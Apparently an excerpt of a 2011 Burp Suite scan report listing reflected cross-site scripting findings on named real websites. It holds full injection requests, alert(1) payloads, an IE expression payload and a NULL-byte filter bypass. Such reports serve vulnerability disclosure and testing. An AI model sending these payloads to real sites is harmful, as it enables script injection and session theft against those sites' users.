<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <link rel="shortcut ...[SNIP]... <a href='/pop/sites.html?9c1aa'><script>alert(1)</script>341d035808d=1&o=10'> ...[SNIP]...
1.50. http://boardreader.com/pop/videos/-/-/3.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://boardreader.com
Path:
/pop/videos/-/-/3.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2008f"><script>alert(1)</script>ade1aee3939 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /pop/videos/-/-/3.html?2008f"><script>alert(1)</script>ade1aee3939=1 HTTP/1.1 Host: boardreader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=69622787.1296677346.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/43|utmcmd=referral; __utma=69622787.1197951510.1296677341.1296677341.1296762768.2; __utmc=69622787; human_user=true; __utmb=69622787;
Response
HTTP/1.0 200 OK Date: Thu, 03 Feb 2011 20:32:03 GMT Server: Apache Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <link rel="shortcut ...[SNIP]... <a class="disc" href="/s/Today%2BShow%2BJanuary%2B1994...What%2Bis%2Bthe%2BInternet%253F%253F.html?2008f"><script>alert(1)</script>ade1aee3939=1" title="Search discussions for item "Today Show January 1994...What is the Internet??""> ...[SNIP]...
The value of the 3rd AMF string parameter is copied into the HTML document as plain text between tags. The payload f1c31<script>alert(1)</script>9c812db7f39 was submitted in the 3rd AMF string parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
POST /services/messagebroker/amf?playerKey=AQ~~,AAAADnAS0wE~,ddeyF9dBubzZEABHXI8Tafb593RYf5ad HTTP/1.1 Host: c.brightcove.com Proxy-Connection: keep-alive Referer: http://c.brightcove.com/services/viewer/federated_f9?&width=486&height=322&flashID=myExperience700903960001&bgcolor=%23FFFFFF&playerID=64829845001&playerKey=AQ~~%2CAAAADnAS0wE~%2CddeyF9dBubzZEABHXI8Tafb593RYf5ad&isVid=true&dynamicStreaming=true&%40videoPlayer=700903960001&autoStart= content-type: application/x-amf Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Content-Length: 538
The value of the rdid request parameter is copied into the HTML document as plain text between tags. The payload 91ccd<script>alert(1)</script>82e43485041 was submitted in the rdid parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the wdid request parameter is copied into the HTML document as plain text between tags. The payload 26709<script>alert(1)</script>40fb537d3b1 was submitted in the wdid parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the rdid request parameter is copied into the HTML document as plain text between tags. The payload 5634a<script>alert(1)</script>fed7ed4bbdf was submitted in the rdid parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /aid/3760177095415339810/bc.cbhs?wdid=798708614246318013&rdid=1201083812220968228"%3E%3C/script%3E5634a<script>alert(1)</script>fed7ed4bbdf HTTP/1.1 Host: cbi.boldchat.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Resin/2.1.17 Cache-Control: no-cache,no-store Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/javascript; charset="UTF-8" Date: Thu, 03 Feb 2011 19:47:51 GMT Content-Length: 153
/* An error has occured: java.lang.NumberFormatException: For input string: "1201083812220968228"></script>5634a<script>alert(1)</script>fed7ed4bbdf" */
The value of the wdid request parameter is copied into the HTML document as plain text between tags. The payload fe98c<script>alert(1)</script>3b948965da2 was submitted in the wdid parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /aid/3760177095415339810/bc.cbhs?wdid=798708614246318013fe98c<script>alert(1)</script>3b948965da2&rdid=1201083812220968228"%3E%3C/script%3E HTTP/1.1 Host: cbi.boldchat.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Resin/2.1.17 Cache-Control: no-cache,no-store Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/javascript; charset="UTF-8" Date: Thu, 03 Feb 2011 19:47:48 GMT Content-Length: 141
/* An error has occured: java.lang.NumberFormatException: For input string: "798708614246318013fe98c<script>alert(1)</script>3b948965da2" */
1.56. http://clicktoverify.truste.com/pvr.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://clicktoverify.truste.com
Path:
/pvr.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into the name of an HTML tag attribute. The payload e483d%20style%3dx%3aexpression(alert(1))%207543349c09e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as e483d style=x:expression(alert(1)) 7543349c09e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The value of the sealid request parameter is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload bb24b%20style%3dx%3aexpression(alert(1))%2038cf935101b was submitted in the sealid parameter. This input was echoed as bb24b style=x:expression(alert(1)) 38cf935101b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /pvr.php?page=validate&url=www.supermedia.com&sealid=101bb24b%20style%3dx%3aexpression(alert(1))%2038cf935101b HTTP/1.1 Host: clicktoverify.truste.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Thu, 03 Feb 2011 19:48:18 GMT Server: Apache/2.2.2 (Unix) mod_ssl/2.2.2 OpenSSL/0.9.7a PHP/5.1.4 X-Powered-By: PHP/5.1.4 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html Content-Length: 8370
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" >
<html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Validation Page for Online Privacy Certification by TRUSTe</title> <meta nam ...[SNIP]... <input type='hidden' name='sealid' value=101bb24b style=x:expression(alert(1)) 38cf935101b> ...[SNIP]...
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload %00f1926<a>d08f4d1b1f6 was submitted in the REST URL parameter 1. This input was echoed as f1926<a>d08f4d1b1f6 in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request
GET /weblog%00f1926<a>d08f4d1b1f6/2006/03/base/ HTTP/1.1 Host: dean.edwards.name Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Thu, 03 Feb 2011 19:50:17 GMT Server: Apache/2.2.6 (Win32) PHP/5.2.5 X-Powered-By: PHP/5.2.5 Vary: Accept-Encoding Content-Length: 1643 Connection: close Content-Type: text/html; charset=utf-8
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload %00c6e63"><script>alert(1)</script>ac88b9e9cb was submitted in the REST URL parameter 1. This input was echoed as c6e63"><script>alert(1)</script>ac88b9e9cb in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request
GET /weblog%00c6e63"><script>alert(1)</script>ac88b9e9cb/2006/03/base/ HTTP/1.1 Host: dean.edwards.name Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Thu, 03 Feb 2011 19:50:16 GMT Server: Apache/2.2.6 (Win32) PHP/5.2.5 X-Powered-By: PHP/5.2.5 Vary: Accept-Encoding Content-Length: 1785 Connection: close Content-Type: text/html; charset=utf-8
The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload 98ff3<a>94fdf96a678 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /weblog/2006/03/base98ff3<a>94fdf96a678/ HTTP/1.1 Host: dean.edwards.name Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Thu, 03 Feb 2011 19:50:54 GMT Server: Apache/2.2.6 (Win32) PHP/5.2.5 X-Powered-By: PHP/5.2.5 X-Pingback: http://dean.edwards.name/weblog/xmlrpc.php Expires: Thu, 03 Feb 2011 19:50:55 GMT Last-Modified: Thu, 03 Feb 2011 19:50:55 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 1351 Connection: close Content-Type: text/html; charset=UTF-8
1.61. http://dean.edwards.name/weblog/2006/03/base/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://dean.edwards.name
Path:
/weblog/2006/03/base/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fae08"><script>alert(1)</script>c1a45a5709b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as fae08\"><script>alert(1)</script>c1a45a5709b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /weblog/2006/03/base/?fae08"><script>alert(1)</script>c1a45a5709b=1 HTTP/1.1 Host: dean.edwards.name Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload %00a084d"><script>alert(1)</script>ceea5e5408a was submitted in the REST URL parameter 1. This input was echoed as a084d"><script>alert(1)</script>ceea5e5408a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request
GET /submit%00a084d"><script>alert(1)</script>ceea5e5408a HTTP/1.1 Host: digg.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of the callback request parameter is copied into the HTML document as plain text between tags. The payload 373f2<script>alert(1)</script>e896c8e12b was submitted in the callback parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /red/psi/sites/www.ip-adress.com/p.json?callback=_ate.ad.hpr373f2<script>alert(1)</script>e896c8e12b&uid=4d1ec56b7612a62c&url=http%3A%2F%2Fwww.ip-adress.com%2Fwhois%2Fsmartdevil.com44a08'%253b28a34fbd60c%2Fx22&ref=http%3A%2F%2Fburp%2Fshow%2F36&1l3wvz8 HTTP/1.1 Host: ds.addthis.com Proxy-Connection: keep-alive Referer: http://s7.addthis.com/static/r07/sh31.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: loc=US%2CMjAwMDFOQVVTREMyMTg4MTAyOTUxMTAwMDAwVg%3d%3d; dt=X; di=%7B%222%22%3A%22914803576615380%2CrcHW800iZiMAAocf%22%7D..1295452270.19F|1296751058.60|1296659685.66; psc=4; uid=4d1ec56b7612a62c
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Content-Length: 326 Content-Type: text/javascript Set-Cookie: bt=; Domain=.addthis.com; Expires=Fri, 04 Feb 2011 17:55:25 GMT; Path=/ Set-Cookie: dt=X; Domain=.addthis.com; Expires=Sun, 06 Mar 2011 17:55:25 GMT; Path=/ Set-Cookie: di=%7B%222%22%3A%22914803576615380%2CrcHW800iZiMAAocf%22%7D..1295452270.19F|1296842125.60|1296659685.66; Domain=.addthis.com; Expires=Sun, 03-Feb-2013 13:54:01 GMT; Path=/ P3P: policyref="/w3c/p3p.xml", CP="NON ADM OUR DEV IND COM STA" Expires: Fri, 04 Feb 2011 17:55:25 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Fri, 04 Feb 2011 17:55:25 GMT Connection: close
1.64. http://jqueryui.com/themeroller/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://jqueryui.com
Path:
/themeroller/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2ad9c"><script>alert(1)</script>ce5a88a8f06 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themeroller/?2ad9c"><script>alert(1)</script>ce5a88a8f06=1 HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Thu, 03 Feb 2011 22:06:18 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www3 X-Proxy: 2 Content-Length: 117121
The value of the version request parameter is copied into the HTML document as plain text between tags. The payload 714d6<script>alert(1)</script>a1c7f770126 was submitted in the version parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /styles/veoh-ie6.css?version=AFrontend.5.5.4.1038714d6<script>alert(1)</script>a1c7f770126 HTTP/1.1 Host: ll-appserver.veoh.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=91933981.1296766388.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/11; veohCookie="VisitorUID=F28E893B-ED80-1EAE-894D-FC564C4FF0AB&LastUpdate=03/Feb/2011:12:31:55 -0800&first=0"; __utma=91933981.1108194640.1296766388.1296766388.1296766388.1; __utmc=91933981; __utmb=91933981.0.10.1296766388;
div.spacer{clear:both;line-height:0px;font-size:0px;height:60px}div.smallSpacer{clear:both;line-height:0px;font-size:0px;height:20px}div.tinySpacer{clear:both;line-height:0px;font-size:0px;height:8px} ...[SNIP]... kenOut li{border:0;border-right:1px solid #d7d7d7;background:none}#bodyLevelThumbTip_leftOf .thumbMeta{background:transparent url(../images/hoverdetails_bg_shadow_right.png?version=AFrontend.5.5.4.1038714d6<script>alert(1)</script>a1c7f770126) no-repeat scroll center bottom}#veohPage, #contentHolder_watchFull #playerBottomOuterWrapper,#commentLoginWrapper{background-color:#fff}#contentHolder_watchFull #watch-controls, div.chooseCat ul li a ...[SNIP]...
The value of the version request parameter is copied into the HTML document as plain text between tags. The payload 88ebc<script>alert(1)</script>9e1cf63d45e was submitted in the version parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /styles/veoh.css?version=AFrontend.5.5.4.103888ebc<script>alert(1)</script>9e1cf63d45e HTTP/1.1 Host: ll-appserver.veoh.com Proxy-Connection: keep-alive Referer: http://www.veoh.com/browse/videos/category/action_adventure2e455%3Cimg%20src%3da%20onerror%3dalert(1)%3Ecd67645eb41/watch/v18978294NGnK88j8/x22 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: veohCookie="VisitorUID=F28E893B-ED80-1EAE-894D-FC564C4FF0AB&LastUpdate=03/Feb/2011:12:31:55 -0800&first=0"
1.67. http://managedq.com/search.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://managedq.com
Path:
/search.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 65f22"%3balert(1)//e219070d6eb was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 65f22";alert(1)//e219070d6eb in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /search.php?q=o/65f22"%3balert(1)//e219070d6ebbama HTTP/1.1 Host: managedq.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Thu, 03 Feb 2011 20:32:41 GMT Server: Apache Vary: Accept-Encoding Content-Length: 13527 Connection: close Content-Type: text/html
The value of the q request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload be8e1"%3balert(1)//d33907aeb4e was submitted in the q parameter. This input was echoed as be8e1";alert(1)//d33907aeb4e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /search.php?q=obamabe8e1"%3balert(1)//d33907aeb4e HTTP/1.1 Host: managedq.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Thu, 03 Feb 2011 20:32:37 GMT Server: Apache Vary: Accept-Encoding Content-Length: 13526 Connection: close Content-Type: text/html
1.69. http://my.supermedia.com/customersupport/index.jsp [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://my.supermedia.com
Path:
/customersupport/index.jsp
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 33517"><script>alert(1)</script>270ee3472e7 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /customersupport/index.jsp?33517"><script>alert(1)</script>270ee3472e7=1 HTTP/1.1 Host: my.supermedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=NLFJq9n0bBhhzyJhvk4QvL8pkD21vl5vWhQzpt89hzzNngVTZQ1j!-550558129!-1173275059; s_cc=true; campaign_track=BP%3AUpdate%20Your%20Profile%20Top; NSC_nz-tvqfsnfejb-dpn-80=ffffffff9482e55445525d5f4f58455e445a4a423660; s_sq=%5B%5BB%5D%5D; undefined_s=First%20Visit; mbox=session#1296759528614-838261#1296763713|check#true#1296761913;
Response
HTTP/1.1 200 OK Date: Thu, 03 Feb 2011 19:48:30 GMT Content-Length: 19431 Connection: close Content-Type: text/html; charset=ISO-8859-1 Server: Unspecified Set-Cookie: NSC_nz-tvqfsnfejb-dpn-80=ffffffff9482e55445525d5f4f58455e445a4a423660;expires=Thu, 03-Feb-2011 19:56:06 GMT;path=/;httponly
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!-- tiles layout page => standard_page.jsp --> <!-- <html head ...[SNIP]... <a class="RightNavLink" href="http://my.supermedia.com:80/customersupport/index.jsp?33517"><script>alert(1)</script>270ee3472e7=1&print=ed"> ...[SNIP]...
1.70. http://my.supermedia.com/directoryoptout [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://my.supermedia.com
Path:
/directoryoptout
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 37fe3"><script>alert(1)</script>84741f5cfde was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /directoryoptout?37fe3"><script>alert(1)</script>84741f5cfde=1 HTTP/1.1 Host: my.supermedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 200 OK Date: Thu, 03 Feb 2011 19:36:26 GMT Pragma: no-cache Content-Length: 24725 Expires: Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: JSESSIONID=NLD6RFdXPRTw2vwG1LgBrG7JnC27kyJ154JBgp4LL03M7ljcGhrz!-1173275059!-550558129; path=/ Cache-Control: no-store Connection: close Content-Type: text/html; charset=ISO-8859-1 Server: Unspecified Set-Cookie: NSC_nz-tvqfsnfejb-dpn-80=ffffffff9482e55445525d5f4f58455e445a4a423660;expires=Thu, 03-Feb-2011 19:44:01 GMT;path=/;httponly
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!-- tiles layout page => standard_page.jsp --> <!-- <html head ...[SNIP]... <a class="RightNavLink" href="http://my.supermedia.com:80/directoryoptout/index.jsp?37fe3"><script>alert(1)</script>84741f5cfde=1&print=ed"> ...[SNIP]...
The value of the 37fe3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E84741f5cfde request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1e8cf"><script>alert(1)</script>b83041eb0df was submitted in the 37fe3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E84741f5cfde parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!-- tiles layout page => standard_page.jsp --> <!-- <html head ...[SNIP]... <a class="RightNavLink" href="http://my.supermedia.com:80/directoryoptout/index.jsp?37fe3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E84741f5cfde=11e8cf"><script>alert(1)</script>b83041eb0df&print=ed"> ...[SNIP]...
1.72. http://my.supermedia.com/directoryoptout/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://my.supermedia.com
Path:
/directoryoptout/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a87e3"><script>alert(1)</script>55222cbb99d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!-- tiles layout page => standard_page.jsp --> <!-- <html head ...[SNIP]... <a class="RightNavLink" href="http://my.supermedia.com:80/directoryoptout/index.jsp?37fe3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E84741f5cfde=1&a87e3"><script>alert(1)</script>55222cbb99d=1&print=ed"> ...[SNIP]...
1.73. http://my.supermedia.com/directoryoptout/confirm.do [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://my.supermedia.com
Path:
/directoryoptout/confirm.do
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 319e1"><script>alert(1)</script>a37efd293c2 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /directoryoptout/confirm.do?319e1"><script>alert(1)</script>a37efd293c2=1 HTTP/1.1 Host: my.supermedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=NLFJq9n0bBhhzyJhvk4QvL8pkD21vl5vWhQzpt89hzzNngVTZQ1j!-550558129!-1173275059; s_cc=true; campaign_track=BP%3AUpdate%20Your%20Profile%20Top; NSC_nz-tvqfsnfejb-dpn-80=ffffffff9482e55445525d5f4f58455e445a4a423660; s_sq=%5B%5BB%5D%5D; undefined_s=First%20Visit; mbox=session#1296759528614-838261#1296763713|check#true#1296761913;
Response
HTTP/1.1 200 OK Date: Thu, 03 Feb 2011 19:48:32 GMT Pragma: no-cache Content-Length: 25076 Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-store Connection: close Content-Type: text/html; charset=ISO-8859-1 Server: Unspecified Set-Cookie: NSC_nz-tvqfsnfejb-dpn-80=ffffffff9482e55445525d5f4f58455e445a4a423660;expires=Thu, 03-Feb-2011 19:56:08 GMT;path=/;httponly
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!-- tiles layout page => standard_page.jsp --> <!-- <html head ...[SNIP]... <a class="RightNavLink" href="http://my.supermedia.com:80/directoryoptout/index.jsp?319e1"><script>alert(1)</script>a37efd293c2=1&print=ed"> ...[SNIP]...
The value of the 37fe3%22%3E%3Cscript%3Ealert(document.cookie request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1233c"><script>alert(1)</script>6337a742d73 was submitted in the 37fe3%22%3E%3Cscript%3Ealert(document.cookie parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /directoryoptout/index.jsp?37fe3%22%3E%3Cscript%3Ealert(document.cookie1233c"><script>alert(1)</script>6337a742d73 HTTP/1.1 Host: my.supermedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=NLFJq9n0bBhhzyJhvk4QvL8pkD21vl5vWhQzpt89hzzNngVTZQ1j!-550558129!-1173275059; s_cc=true; campaign_track=BP%3AUpdate%20Your%20Profile%20Top; NSC_nz-tvqfsnfejb-dpn-80=ffffffff9482e55445525d5f4f58455e445a4a423660; s_sq=%5B%5BB%5D%5D; undefined_s=First%20Visit; mbox=session#1296759528614-838261#1296763713|check#true#1296761913;
Response
